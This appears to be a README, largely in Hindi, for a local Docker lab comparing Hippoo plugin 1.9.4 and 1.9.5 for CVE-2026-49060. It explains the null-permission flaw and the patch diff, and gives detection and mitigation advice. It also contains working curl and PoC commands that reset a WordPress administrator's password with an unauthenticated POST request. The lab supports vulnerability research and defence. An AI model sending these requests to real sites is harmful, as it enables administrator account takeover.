कमजोर लक्ष्य में, एक अनधिकृत आगंतुक एक क्लोन किए गए WordPress REST उपयोगकर्ता मार्ग तक पहुँच सकता है और एक अनधिकृत HTTP अनुरोध के माध्यम से प्रशासक उपयोगकर्ता का पासवर्ड अपडेट कर सकता है। पैच किए गए लक्ष्य में, वही अनुरोध `403 Forbidden` के साथ अवरुद्ध हो जाता है।

यह लैब दो Hippoo संस्करणों की तुलना करता है:

| सेवा      | Hippoo संस्करण | उद्देश्य                      | URL                     |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln`    |          1.9.4 | असुरक्षित तुलना लक्ष्य | `http://localhost:8081` |
| `patched` |          1.9.5 | पैच किया गया तुलना लक्ष्य    | `http://localhost:8082` |

प्रदर्शित कमजोरी श्रृंखला है:```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden

प्रयोगशाला निम्नलिखित प्रदर्शित नहीं करती:

* स्थायित्व,
* वेब शैल अपलोड,
* मनमाना कमांड निष्पादन,
* बाहरी कॉलबैक,
* मैलवेयर व्यवहार,
* गैर-प्रयोगशाला प्रणालियों पर हमले,
* या स्थानीय पासवर्ड अद्यतन सत्यापन से परे पोस्ट-समझौता गतिविधि।

## मूल कारण सारांश

मूल कारण Hippoo की भूमिका और अनुमति प्रबंधन में एक अनुमति तर्क दोष है।

Hippoo अपने स्वयं के नामस्थान के अंतर्गत क्लोन किए गए WordPress और WooCommerce REST रूट्स को उजागर करता है:```text
/wc-hippoo/v1/ext/

function re_register_external_routes() {
    $server = rest_get_server();
    $endpoints = $server->get_routes();

    $new_namespace = $this->hippoo_namespace . '/ext';

    foreach ($endpoints as $route => $handlers) {
        if (strpos($route, $this->hippoo_namespace) === 0) {
            continue;
        }

        foreach ($handlers as $handler) {
            $default_permission_callback = array($this, 'is_user_wordpress_admin');
            $permission_callback = apply_filters(
                'hippoo_extension_permission_check',
                $default_permission_callback,
                $route,
                $handler
            );

            register_rest_route(
                $new_namespace,
                $route,
                array(
                    'methods'             => $methods,
                    'callback'            => $handler['callback'],
                    'args'                => $handler['args'],
                    'permission_callback' => $permission_callback,
                )
            );
        }
    }
}
```
इच्छित सुरक्षा मॉडल है:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
```
असुरक्षित व्यवहार इसलिए होता है क्योंकि Hippoo `1.9.4` दो अलग-अलग अवस्थाओं के लिए समान वापसी मान का उपयोग करता है:```text
administrator / unrestricted access
unauthenticated visitor / no user
```
Hippoo `1.9.4` में, अनुमति सहायक `null` लौटाता है जब कोई लॉग-इन वर्डप्रेस उपयोगकर्ता नहीं होता है:```php
public static function get_user_permissions()
{
    $user = wp_get_current_user();

    if (empty($user) || !$user->exists()) {
        return null;
    }

    if (in_array('administrator', (array) $user->roles)) {
        return null; // Full access
    }

    $settings = get_option('hippoo_permissions_settings', []);
    foreach ((array) $user->roles as $role) {
        if (!isset($settings[$role])) {
            continue;
        }

        return $settings[$role];
    }

    return null; // Full access
}
```
कमजोर संस्करण `null` को भी अनुमत मानता है:```php
private function has_role_access($section, $key = null)
{
    $perms = self::get_user_permissions();

    if ($perms === null) {
        return true; // admin or unrestricted
    }

    if (empty($perms['general']['enable_access'])) {
        return false;
    }
}
```
यह एक असुरक्षित डेटा प्रवाह बनाता है:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
```
मुद्दा केवल यह नहीं है कि एक REST रूट मौजूद है। मुद्दा यह है कि अनुमति निर्णय गलत तरीके से एक अप्रमाणित आगंतुक को अप्रतिबंधित मान सकता है।

पैच किए गए संस्करण उन अवस्थाओं को अलग करता है।

Hippoo `1.9.5` में, अप्रमाणित आगंतुक `null` के बजाय `false` लौटाते हैं:```php
public static function get_user_permissions()
{
    $user = wp_get_current_user();

    if (empty($user) || !$user->exists() || !is_user_logged_in()) {
        return false;
    }

    if (in_array('administrator', (array) $user->roles)) {
        return null; // Full access
    }

    $settings = get_option('hippoo_permissions_settings', []);
    foreach ((array) $user->roles as $role) {
        if (isset($settings[$role])) {
            return $settings[$role];
        }
    }

    return false; // No access
}
```
फिर पैच किया गया प्राधिकरण जांच स्पष्ट रूप से `false` को अस्वीकार कर देता है:```php
private function has_role_access($section, $key = null)
{
    $perms = self::get_user_permissions();

    if ($perms === null) {
        return true; // admin
    }

    if ($perms === false) {
        return false;
    }

    if (empty($perms['general']['enable_access'])) {
        return false;
    }
}
```
सुरक्षा-संबंधित परिवर्तन है:```text
Before:
  unauthenticated visitor → null → allowed

After:
  unauthenticated visitor → false → denied
```
यही कारण है कि प्रयोगशाला दिखाती है:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
```
## स्रोत पैच सारांश

पैच अनुमति वापसी मानों के अर्थ को बदलता है।

कमजोर संस्करण में:```text
null means administrator/full access
null also means unauthenticated/no user
```
पैच किए गए संस्करण में:```text
null means administrator/full access
false means unauthenticated/no role/no access
```
अनुमति सहायक में महत्वपूर्ण स्रोत-स्तर परिवर्तन है:```diff
 public static function get_user_permissions()
 {
     $user = wp_get_current_user();

-    if (empty($user) || !$user->exists()) {
-        return null;
+    if (empty($user) || !$user->exists() || !is_user_logged_in()) {
+        return false;
     }

     if (in_array('administrator', (array) $user->roles)) {
         return null; // Full access
     }

     $settings = get_option('hippoo_permissions_settings', []);
     foreach ((array) $user->roles as $role) {
-        if (!isset($settings[$role])) {
-            continue;
+        if (isset($settings[$role])) {
+            return $settings[$role];
         }
-
-        return $settings[$role];
     }

-    return null; // Full access
+    return false; // No access
 }
```
प्राधिकरण निर्णय भी बदल दिया गया है:```diff
 private function has_role_access($section, $key = null)
 {
     $perms = self::get_user_permissions();

     if ($perms === null) {
-        return true; // admin or unrestricted
+        return true; // admin
     }

+    if ($perms === false) {
+        return false;
+    }
+
     if (empty($perms['general']['enable_access'])) {
         return false;
     }
 }
```
यह पैच Hippoo की रूट-क्लोनिंग सुविधा को हटाता नहीं है। इसके बजाय, यह अनुमति मूल्यांकन के चारों ओर विश्वास सीमा को ठीक करता है।

पैच से सुरक्षा पाठ यह है:```text
A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
```
सुरक्षा-संवेदनशील अनुमति फ़ंक्शनों को विभिन्न अवस्थाओं के लिए पृथक मानों का उपयोग करना चाहिए:```text
administrator / full access     → allowed
authenticated user with policy   → evaluate policy
unauthenticated user             → denied
unknown role / no configured ACL → denied
```
## प्रयोगशाला आर्किटेक्चर

प्रयोगशाला डॉकर कंपोज़ के माध्यम से दो पृथक वर्डप्रेस इंस्टॉलेशन चलाती है।```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
└── .gitignore
```
दो WordPress सेवाएँ अलग-अलग डेटाबेस और अलग-अलग प्लगइन संस्करणों का उपयोग करती हैं:

| सेवा             | घटक                             | संस्करण / भूमिका                 |
| ---------------- | -------------------------------- | -------------------------------- |
| `vuln`           | WordPress + WooCommerce + Hippoo | असुरक्षित लक्ष्य अनुप्रयोग       |
| `patched`        | WordPress + WooCommerce + Hippoo | पैच किए गए लक्ष्य अनुप्रयोग      |
| `db-vuln`        | MariaDB                          | असुरक्षित लक्ष्य के लिए डेटाबेस |
| `db-patched`     | MariaDB                          | पैच किए गए लक्ष्य के लिए डेटाबेस |
| `init-vuln`      | WordPress प्रारंभिक सेवा         | असुरक्षित लक्ष्य को आरंभ करता है |
| `init-patched`   | WordPress प्रारंभिक सेवा         | पैच किए गए लक्ष्य को आरंभ करता है |

डिफ़ॉल्ट रूप से खुली सेवाएँ:```text
Vulnerable target: http://localhost:8081
Patched target:    http://localhost:8082
```
प्रयोगशाला निर्दिष्ट Hippoo संस्करणों का उपयोग करती है:

| Target                  | Hippoo संस्करण | अपेक्षित व्यवहार                             |
| ----------------------- | -------------: | --------------------------------------------- |
| `http://localhost:8081` |          1.9.4 | अप्रमाणित क्लोन उपयोगकर्ता रूट की अनुमति है |
| `http://localhost:8082` |          1.9.5 | अप्रमाणित क्लोन उपयोगकर्ता रूट अवरुद्ध है |

प्रयोगशाला WooCommerce स्थापित करती है क्योंकि Hippoo WooCommerce REST कक्षाओं और रूट्स के साथ एकीकृत होता है।

## आवश्यकताएँ

* Docker Desktop या Docker Engine
* Docker Compose v2
* Python 3
* Docker इमेज बिल्ड के दौरान WordPress प्लगइन पैकेज प्राप्त करने के लिए इंटरनेट एक्सेस

किसी Python तृतीय-पक्ष पैकेज की आवश्यकता नहीं है। PoC केवल Python मानक लाइब्रेरी मॉड्यूल का उपयोग करता है।

## त्वरित आरंभ

प्रयोगशाला को स्वच्छ स्थिति से प्रारंभ करें:```bash
docker compose down -v --remove-orphans

docker image rm -f \
  cve-2026-49060-vuln:1.9.4 \
  cve-2026-49060-patched:1.9.5

docker compose up --build --wait -d
```
सेवा की स्थिति जांचें:```bash
docker compose ps
```
अपेक्षित स्वस्थ सेवाएँ:```text
cve-2026-49060-vuln
cve-2026-49060-patched
cve-2026-49060-init-vuln
cve-2026-49060-init-patched
cve-2026-49060-db-vuln
cve-2026-49060-db-patched
```
वेब एप्लिकेशन जांचें:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```
दोनों लक्ष्यों के विरुद्ध केवल-पढ़ने योग्य सत्यापन चलाएँ:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
दोनों लक्ष्यों के विरुद्ध सक्रिय स्थानीय सत्यापन चलाएँ:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
```
स्पष्ट पासवर्ड के साथ सक्रिय सत्यापन चलाएँ:```bash
python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
```
## PoC उपयोग

एक या अधिक स्थानीय लक्ष्य URL को स्थितीय तर्कों के रूप में पास करें:```bash
python3 poc/poc.py <target_url> [target_url...]
```
उदाहरण:```bash
python3 poc/poc.py http://127.0.0.1:8081
python3 poc/poc.py http://127.0.0.1:8082
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
डिफ़ॉल्ट मोड केवल-पढ़ने के लिए है। यह क्लोन किए गए उपयोगकर्ता मार्ग पर एक अप्रमाणित `GET` अनुरोध भेजता है और रिपोर्ट करता है कि एक्सेस की अनुमति है या अवरुद्ध है।

समर्थित विकल्प:```text
--update-password   Send unauthenticated POST to update the selected user's password.
--user-id           WordPress user ID to read or update. Default: 1.
--password          Password used with --update-password.
```
सक्रिय मान्यता उदाहरण:```bash
python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
```
PoC केवल loopback/local लक्ष्यों को स्वीकार करता है:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
```
यह डिज़ाइन द्वारा गैर-स्थानीय लक्ष्यों को अस्वीकार करता है।

## अपेक्षित परिणाम

### केवल-पढ़ने के लिए सत्यापन

कमांड:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
अपेक्षित संवेदनशील लक्ष्य संकेत:```text
Target: target-1
Base  : http://127.0.0.1:8081

[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users

Unauthenticated GET probe result: ALLOWED
  Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
  Status  : 200 OK
```
अपेक्षित पैच किया गया लक्ष्य संकेत:```text
Target: target-2
Base  : http://127.0.0.1:8082

[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users

Unauthenticated GET probe result: BLOCKED
  Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
  Status  : 403 Forbidden
```
अपेक्षित सारांश:```text
Summary

target-1
  URL             : http://127.0.0.1:8081
  REST ready      : True
  REST index path : /?rest_route=/
  Route found     : True
  Route           : /wc-hippoo/v1/ext/wp/v2/users
  GET verdict     : ALLOWED
  GET status      : 200

target-2
  URL             : http://127.0.0.1:8082
  REST ready      : True
  REST index path : /?rest_route=/
  Route found     : True
  Route           : /wc-hippoo/v1/ext/wp/v2/users
  GET verdict     : BLOCKED
  GET status      : 403

Read-only comparison:
  At least one target allowed unauthenticated GET access and at least one target blocked it.
  This supports a vulnerable-vs-patched authorization behavior difference.
```
### सक्रिय स्थानीय मान्यकरण

आदेश:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
```
अपेक्षित असुरक्षित लक्ष्य संकेत:```text
Active local validation: target-1
Base                   : http://127.0.0.1:8081

Unauthenticated POST password update result: ALLOWED
  Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
  Status  : 200 OK
```
अपेक्षित पैच किया गया लक्ष्य संकेत:```text
Active local validation: target-2
Base                   : http://127.0.0.1:8082

Unauthenticated POST password update result: BLOCKED
  Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
  Status  : 403 Forbidden
```
सक्रिय सत्यापन केवल स्थानीय संवेदनशील लैब लक्ष्य के अंदर डिस्पोजेबल वर्डप्रेस व्यवस्थापक पासवर्ड को बदलता है।

सक्रिय सत्यापन से पहले डिफ़ॉल्ट स्थानीय लैब क्रेडेंशियल्स:```text
Username: admin
Password: AdminPass123!
```
कमजोर लक्ष्य पर सफल सक्रिय सत्यापन के बाद डिफ़ॉल्ट पासवर्ड:```text
Username: admin
Password: Cve49060LabPass123!
```
## सत्यापन कैसे काम करता है

सत्यापनकर्ता पहले WordPress REST API का पता लगाता है।

कुछ WordPress वातावरण pretty permalinks के माध्यम से REST रूट्स को उजागर करते हैं:```text
/wp-json/
```
अन्य लोग उन्हें query-string fallback के माध्यम से अधिक विश्वसनीय रूप से उजागर करते हैं:```text
/?rest_route=/
```
वैलिडेटर दोनों रूपों का प्रयास करता है और उसका उपयोग करता है जो JSON REST इंडेक्स लौटाता है। REST डिस्कवरी के बाद, यह Hippoo cloned users रूट की खोज करता है:```text
/wc-hippoo/v1/ext/wp/v2/users
```
फिर यह एक केवल-पढ़ने के लिए अप्रमाणित GET अनुरोध करता है:```text
GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
```
अपेक्षित असुरक्षित व्यवहार:```text
HTTP 200 OK
JSON user object returned
```
अपेक्षित पैच किया गया व्यवहार:```text
HTTP 403 Forbidden
JSON rest_forbidden error returned
```
जब `--update-password` सक्षम होता है, तो वैलिडेटर एक अप्रमाणित POST अनुरोध भेजता है:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json

{
  "password": "Cve49060LabPass123!"
}
```
अपेक्षित भेद्य व्यवहार:```text
HTTP 200 OK
The selected user's password is updated inside the local lab target.
```
अपेक्षित पैच किया गया व्यवहार:```text
HTTP 403 Forbidden
The update is blocked.
```
महत्वपूर्ण अंतर यह नहीं है कि रूट मौजूद है या नहीं। रूट दोनों संस्करणों में मौजूद है। सुरक्षा अंतर यह है कि क्या एक अप्रमाणित अनुरोध को इसे लागू करने की अनुमति है।

## curl के साथ मैन्युअल HTTP पुनरुत्पादन

केवल-पढ़ने योग्य असुरक्षित प्रोब:```bash
curl -i \
  'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
```
अपेक्षित परिणाम:```text
HTTP/1.1 200 OK
Content-Type: application/json
```
रीड-ओनली पैच्ड प्रोब:```bash
curl -i \
  'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
```
अपेक्षित परिणाम:```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
```
सक्रिय भेद्य प्रोब:```bash
curl -i -X POST \
  'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1' \
  -H 'Content-Type: application/json' \
  --data '{"password":"Cve49060LabPass123!"}'
```
अपेक्षित परिणाम:```text
HTTP/1.1 200 OK
```
सक्रिय पैच जांच:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1' \
  -H 'Content-Type: application/json' \
  --data '{"password":"Cve49060LabPass123!"}'
```
अपेक्षित परिणाम:```text
HTTP/1.1 403 Forbidden
```
## प्रभाव

अप्रमाणित पहुँच की अनुमति देने वाला असुरक्षित व्यवहार Hippoo के नाम स्थान के अंतर्गत क्लोन किए गए REST मार्गों तक होती है।

सबसे अधिक सुरक्षा-संवेदनशील प्रदर्शित मार्ग क्लोन किया गया WordPress उपयोगकर्ता मार्ग है:```text
/wc-hippoo/v1/ext/wp/v2/users/<id>
```
In the vulnerable local target, an unauthenticated request can update the administrator user's password. This demonstrates account takeover impact in the controlled lab.

Potential real-world impact, depending on site configuration and exposed routes, includes:

* unauthorized access to sensitive REST API data,
* administrator account takeover,
* privilege escalation,
* unauthorized modification of WordPress user records,
* and full site compromise after administrator access is obtained.

This lab demonstrates the authorization failure and local administrator password update only. It does not include post-authentication exploitation, plugin editing, code execution, persistence, or destructive actions.

## पहचान और निगरानी

संभावित संकेतकों में Hippoo के क्लोन किए गए REST नेमस्पेस के लिए अप्रमाणित अनुरोध शामिल हैं:```text
/wc-hippoo/v1/ext/
```
उच्च-जोखिम मार्ग पैटर्न:```text
GET  /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/<id>
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/<id>
```
संदिग्ध संकेतक:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
```
एक्सेस लॉग पैटर्न के उदाहरण:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
GET  /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
```
अनुशंसित निगरानी क्रियाएं:

* वेब सर्वर एक्सेस लॉग की `/wc-hippoo/v1/ext/` के लिए समीक्षा करें।
* अनपेक्षित व्यवस्थापक लॉगिन के लिए वर्डप्रेस प्रमाणीकरण लॉग की समीक्षा करें।
* हाल के पासवर्ड परिवर्तनों के लिए वर्डप्रेस उपयोगकर्ता रिकॉर्ड की समीक्षा करें।
* व्यवस्थापक खाता ईमेल पतों, भूमिकाओं और निर्माण टाइमस्टैम्प की समीक्षा करें।
* यदि व्यवस्थापक अधिग्रहण का संदेह है तो प्लगइन/थीम फ़ाइल संशोधन समय की समीक्षा करें।
* REST API अनुरोधों पर निगरानी रखें जो अप्रमाणित उपयोगकर्ताओं को `200 OK` लौटाते हैं जहां प्राधिकरण की आवश्यकता होनी चाहिए।

## शमन और पैच नोट्स

हिप्पू मोबाइल ऐप फॉर वूकॉमर्स को पैच किए गए संस्करण में अपग्रेड करें।

विशिष्ट प्रयोगशाला तुलना के लिए, हिप्पू `1.9.5` प्रदर्शित अप्रमाणित क्लोन किए गए उपयोगकर्ता रूट व्यवहार को अवरुद्ध करता है जो `1.9.4` में अनुमत है।

उत्पादन वातावरण के लिए, प्रयोगशाला तुलना संस्करण पर रुकने के बजाय नवीनतम उपलब्ध संस्करण में अपडेट करें।

अनुशंसित शमन कदम:

* हिप्पू मोबाइल ऐप फॉर वूकॉमर्स को नवीनतम उपलब्ध पैच किए गए संस्करण में अपडेट करें।
* पुष्टि करें कि स्थापित संस्करण प्रभावित सीमा से नया है।
* समीक्षा करें कि क्या `/wc-hippoo/v1/ext/` सार्वजनिक रूप से उजागर हुआ है।
* यदि शोषण का संदेह है तो व्यवस्थापक पासवर्ड बदलें।
* अनधिकृत परिवर्तनों के लिए वर्डप्रेस व्यवस्थापक खातों की समीक्षा करें।
* क्लोन किए गए REST रूट्स पर अप्रमाणित अनुरोधों के लिए वेब एक्सेस लॉग की समीक्षा करें।
* यदि तत्काल पैचिंग संभव नहीं है तो प्लगइन को अस्थायी रूप से अक्षम करें।
* अपग्रेड करने के विकल्प के रूप में नहीं, बल्कि एक अस्थायी परत के रूप में WAF या वर्चुअल पैचिंग का उपयोग करें।

सुरक्षा इंजीनियरिंग पाठ:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
```
## उपयोगी सत्यापन आदेश

कंटेनर स्थिति जांचें:```bash
docker compose ps
```
प्रारंभिकरण लॉग जांचें:```bash
docker compose logs init-vuln init-patched
```
वेब सेवाओं की जाँच करें:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```
रीड-ओनली सत्यापन चलाएं:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
सक्रिय सत्यापन चलाएँ:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
```
सक्रिय प्लगइन्स की जाँच करें:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
```
Hippoo संस्करण जाँचें:```bash
docker compose exec -T vuln sh -lc \
  "grep -R \"Version:\" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"

docker compose exec -T patched sh -lc \
  "grep -R \"Version:\" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
```
असुरक्षित लक्ष्य में अनुमति तर्क का निरीक्षण करें:```bash
docker compose exec -T vuln sh -lc \
  "grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
```
पैच किए गए लक्ष्य में अनुमति तर्क का निरीक्षण करें:```bash
docker compose exec -T patched sh -lc \
  "grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
```
सत्यापन प्रमाण सहेजें:```bash
mkdir -p evidence

python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
  | tee evidence/read-only-validation.txt

python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
  | tee evidence/active-password-update-validation.txt

docker compose ps \
  | tee evidence/docker-compose-ps.txt
```
## सफाई

कंटेनर और नेटवर्क रोकें और हटाएं:```bash
docker compose down --remove-orphans
```
कंटेनर, नेटवर्क और वॉल्यूम हटाएँ:```bash
docker compose down -v --remove-orphans
```
यदि बनाई गई हों तो स्थानीय साक्ष्य फ़ाइलें हटाएँ:```bash
rm -rf evidence/
```
## सुरक्षा सीमाएँ

यह लैब केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।

जिन सिस्टमों के आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है, उनके विरुद्ध PoC या मैन्युअल curl अनुरोध न चलाएँ।

इस लैब में वास्तविक उत्पादन क्रेडेंशियल्स, वास्तविक ग्राहक डेटा, या उत्पादन रहस्यों का उपयोग न करें।

इच्छित दायरा स्थानीय Docker सेवाओं तक सीमित है जैसे:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```
PoC जानबूझकर HTTP-only और local-scope है। यह Docker, Docker Compose, WP-CLI, या container APIs को कॉल नहीं करता।

सक्रिय सत्यापन मोड डिस्पोजेबल स्थानीय लैब लक्ष्य के अंदर चयनित WordPress उपयोगकर्ता के लिए केवल पासवर्ड बदलता है।

लैब में निम्नलिखित के लिए पेलोड शामिल नहीं हैं:

* वेब शेल अपलोड,
* मनमाना कमांड निष्पादन,
* persistence,
* lateral movement,
* क्रेडेंशियल चोरी,
* डेटाबेस डंपिंग,
* या बाहरी कॉलबैक।

लक्ष्य नियंत्रित वातावरण में एक विशिष्ट तकनीकी स्थिति प्रदर्शित करना है:```text
unauthenticated request
+ Hippoo cloned REST route
+ vulnerable permission sentinel logic
+ unauthenticated access allowed in 1.9.4
+ unauthenticated access blocked in 1.9.5
```
## संदर्भ

* NVD: CVE-2026-49060
  https://nvd.nist.gov/vuln/detail/CVE-2026-49060

* Patchstack: WordPress Hippoo Mobile App for WooCommerce प्लगइन <= 1.9.4 विशेषाधिकार वृद्धि
  https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability

* GitHub सलाह: GHSA-mh6m-7983-2r5w
  https://github.com/advisories/GHSA-mh6m-7983-2r5w

* WordPress.org प्लगइन: Hippoo Mobile App for WooCommerce
  https://wordpress.org/plugins/hippoo/

* WordPress.org प्लगइन SVN
  https://plugins.svn.wordpress.org/hippoo/

* WordPress.org प्लगइन SVN टैग
  https://plugins.svn.wordpress.org/hippoo/tags/

* WordPress REST API हैंडबुक: रूट्स और एंडपॉइंट्स
  https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/

* OWASP वेब सुरक्षा परीक्षण गाइड: प्राधिकरण बायपास के लिए परीक्षण
  https://owasp.org/www-project-web-security-testing-guide/